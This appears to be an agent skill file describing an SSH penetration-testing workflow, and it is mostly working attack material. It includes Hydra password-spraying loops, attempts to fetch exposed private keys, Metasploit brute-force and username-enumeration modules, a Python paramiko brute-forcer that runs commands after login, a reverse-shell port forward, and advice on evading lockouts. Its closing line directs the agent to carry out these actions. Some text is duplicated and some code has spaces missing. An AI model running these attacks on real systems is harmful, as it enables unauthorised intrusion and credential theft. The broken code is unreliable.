Conduct comprehensive SSH security assessments including enumeration, credential attacks, vulnerability exploitation, tunneling techniques, and post-exploitation activities. This skill covers the complete methodology for testing SSH service security.
Conduct comprehensive SSH security assessments including enumeration, credential attacks, vulnerability exploitation, tunneling techniques, and post-exploitation activities. This skill covers the complete methodology for testing SSH service security.
AUTHORIZED USE ONLY: Use this skill only for authorized security assessments, defensive validation, or controlled educational environments.
SSH Penetration Testing
Purpose
Conduct comprehensive SSH security assessments including enumeration, credential attacks, vulnerability exploitation, tunneling techniques, and post-exploitation activities. This skill covers the complete methodology for testing SSH service security.
# Test common password across users
hydra -L users.txt -p Summer2024! ssh://192.168.1.100
# Multiple common passwordsfor pass in"Password123""Welcome1""Summer2024!"; do
hydra -L users.txt -p "$pass" ssh://192.168.1.100
done
Phase 5: Key-Based Authentication Testing
Test for weak or exposed keys:
# Attempt login with found private key
ssh -i id_rsa user@192.168.1.100
# Specify key explicitly (bypass agent)
ssh -o IdentitiesOnly=yes -i id_rsa user@192.168.1.100
# Force password authentication
ssh -o PreferredAuthentications=password user@192.168.1.100
# Try common key namesfor key in id_rsa id_dsa id_ecdsa id_ed25519; do
ssh -i "$key" user@192.168.1.100
done
Check for exposed keys:
# Common locations for private keys
~/.ssh/id_rsa
~/.ssh/id_dsa
~/.ssh/id_ecdsa
~/.ssh/id_ed25519
/etc/ssh/ssh_host_*_key
/root/.ssh/
/home/*/.ssh/
# Web-accessible keys (check with curl/wget)
curl -s http://target.com/.ssh/id_rsa
curl -s http://target.com/id_rsa
curl -s http://target.com/backup/ssh_keys.tar.gz
Phase 6: Vulnerability Exploitation
Search for known vulnerabilities:
# Search for exploits
searchsploit openssh
searchsploit openssh 7.2
# Common SSH vulnerabilities# CVE-2018-15473 - Username enumeration# CVE-2016-0777 - Roaming vulnerability# CVE-2016-0778 - Buffer overflow# Metasploit enumeration
msfconsole
use auxiliary/scanner/ssh/ssh_version
set RHOSTS 192.168.1.100
run
# Username enumeration (CVE-2018-15473)
use auxiliary/scanner/ssh/ssh_enumusers
set RHOSTS 192.168.1.100
set USER_FILE /usr/share/wordlists/users.txt
run
Phase 7: SSH Tunneling and Port Forwarding
Local Port Forwarding
Forward local port to remote service:
# Syntax: ssh -L <local_port>:<remote_host>:<remote_port> user@ssh_server# Access internal web server through SSH
ssh -L 8080:192.168.1.50:80 user@192.168.1.100
# Now access http://localhost:8080# Access internal database
ssh -L 3306:192.168.1.50:3306 user@192.168.1.100
# Multiple forwards
ssh -L 8080:192.168.1.50:80 -L 3306:192.168.1.51:3306 user@192.168.1.100
Remote Port Forwarding
Expose local service to remote network:
# Syntax: ssh -R <remote_port>:<local_host>:<local_port> user@ssh_server# Expose local web server to remote
ssh -R 8080:localhost:80 user@192.168.1.100
# Remote can access via localhost:8080# Reverse shell callback
ssh -R 4444:localhost:4444 user@192.168.1.100
Dynamic Port Forwarding (SOCKS Proxy)
Create SOCKS proxy for network pivoting:
# Create SOCKS proxy on local port 1080
ssh -D 1080 user@192.168.1.100
# Use with proxychainsecho"socks5 127.0.0.1 1080" >> /etc/proxychains.conf
proxychains nmap -sT -Pn 192.168.1.0/24
# Browser configuration# Set SOCKS proxy to localhost:1080
ProxyJump (Jump Hosts)
Chain through multiple SSH servers:
# Jump through intermediate host
ssh -J user1@jump_host user2@target_host
# Multiple jumps
ssh -J user1@jump1,user2@jump2 user3@target
# With SSH config# ~/.ssh/config
Host target
HostName 192.168.2.50
User admin
ProxyJump user@192.168.1.100
#!/usr/bin/env python3import paramiko
import sys
defssh_connect(host, username, password):
"""Attempt SSH connection with credentials"""
client = paramiko.SSHClient()
client.set_missing_host_key_policy(paramiko.AutoAddPolicy())
try:
client.connect(host, username=username, password=password, timeout=5)
print(f"[+] Success: {username}:{password}")
return client
except paramiko.AuthenticationException:
print(f"[-] Failed: {username}:{password}")
returnNoneexcept Exception as e:
print(f"[!] Error: {e}")
returnNonedefexecute_command(client, command):
"""Execute command via SSH"""
stdin, stdout, stderr = client.exec_command(command)
output = stdout.read().decode()
errors = stderr.read().decode()
return output, errors
defssh_brute_force(host, username, wordlist):
"""Brute-force SSH with wordlist"""withopen(wordlist, 'r') as f:
passwords = f.read().splitlines()
for password in passwords:
client = ssh_connect(host, username, password.strip())
if client:
# Run post-exploitation commands
output, _ = execute_command(client, 'id; uname -a')
print(output)
client.close()
returnTruereturnFalse# Usageif __name__ == "__main__":
target = "192.168.1.100"
user = "admin"# Single credential test
client = ssh_connect(target, user, "password123")
if client:
output, _ = execute_command(client, "ls -la")
print(output)
client.close()
Phase 10: Metasploit SSH Modules
Use Metasploit for comprehensive SSH testing:
# Start Metasploit
msfconsole
# SSH Version Scanner
use auxiliary/scanner/ssh/ssh_version
set RHOSTS 192.168.1.0/24
run
# SSH Login Brute-Force
use auxiliary/scanner/ssh/ssh_login
set RHOSTS 192.168.1.100
set USERNAME admin
set PASS_FILE /usr/share/wordlists/rockyou.txt
set VERBOSE true
run
# SSH Key Login
use auxiliary/scanner/ssh/ssh_login_pubkey
set RHOSTS 192.168.1.100
set USERNAME admin
set KEY_FILE /path/to/id_rsa
run
# Username Enumeration
use auxiliary/scanner/ssh/ssh_enumusers
set RHOSTS 192.168.1.100
set USER_FILE users.txt
run
# Post-exploitation with SSH session
sessions -i 1
Quick Reference
SSH Enumeration Commands
Command
Purpose
nc <host> 22
Banner grabbing
ssh-audit <host>
Configuration audit
nmap --script ssh*
SSH NSE scripts
searchsploit openssh
Find exploits
Brute-Force Options
Tool
Command
Hydra
hydra -l user -P pass.txt ssh://host
Medusa
medusa -h host -u user -P pass.txt -M ssh
Ncrack
ncrack -p 22 --user admin -P pass.txt host
Metasploit
use auxiliary/scanner/ssh/ssh_login
Port Forwarding Types
Type
Command
Use Case
Local
-L 8080:target:80
Access remote services locally
Remote
-R 8080:localhost:80
Expose local services remotely
Dynamic
-D 1080
SOCKS proxy for pivoting
Common SSH Ports
Port
Description
22
Default SSH
2222
Common alternate
22222
Another alternate
830
NETCONF over SSH
Constraints and Limitations
Legal Considerations
Always obtain written authorization
Brute-forcing may violate ToS
Document all testing activities
Technical Limitations
Rate limiting may block attacks
Fail2ban or similar may ban IPs
Key-based auth prevents password attacks
Two-factor authentication adds complexity
Evasion Techniques
Use slow brute-force: -t 1 -w 5
Distribute attacks across IPs
Use timing-based enumeration carefully
Respect lockout thresholds
Troubleshooting
Issue
Solutions
Connection Refused
Verify SSH running; check firewall; confirm port; test from different IP
Authentication Failures
Verify username; check password policy; key permissions (600); authorized_keys format
Tunnel Not Working
Check GatewayPorts/AllowTcpForwarding in sshd_config; verify firewall; use ssh -v
When to Use
This skill is applicable to execute the workflow or actions described in the overview.
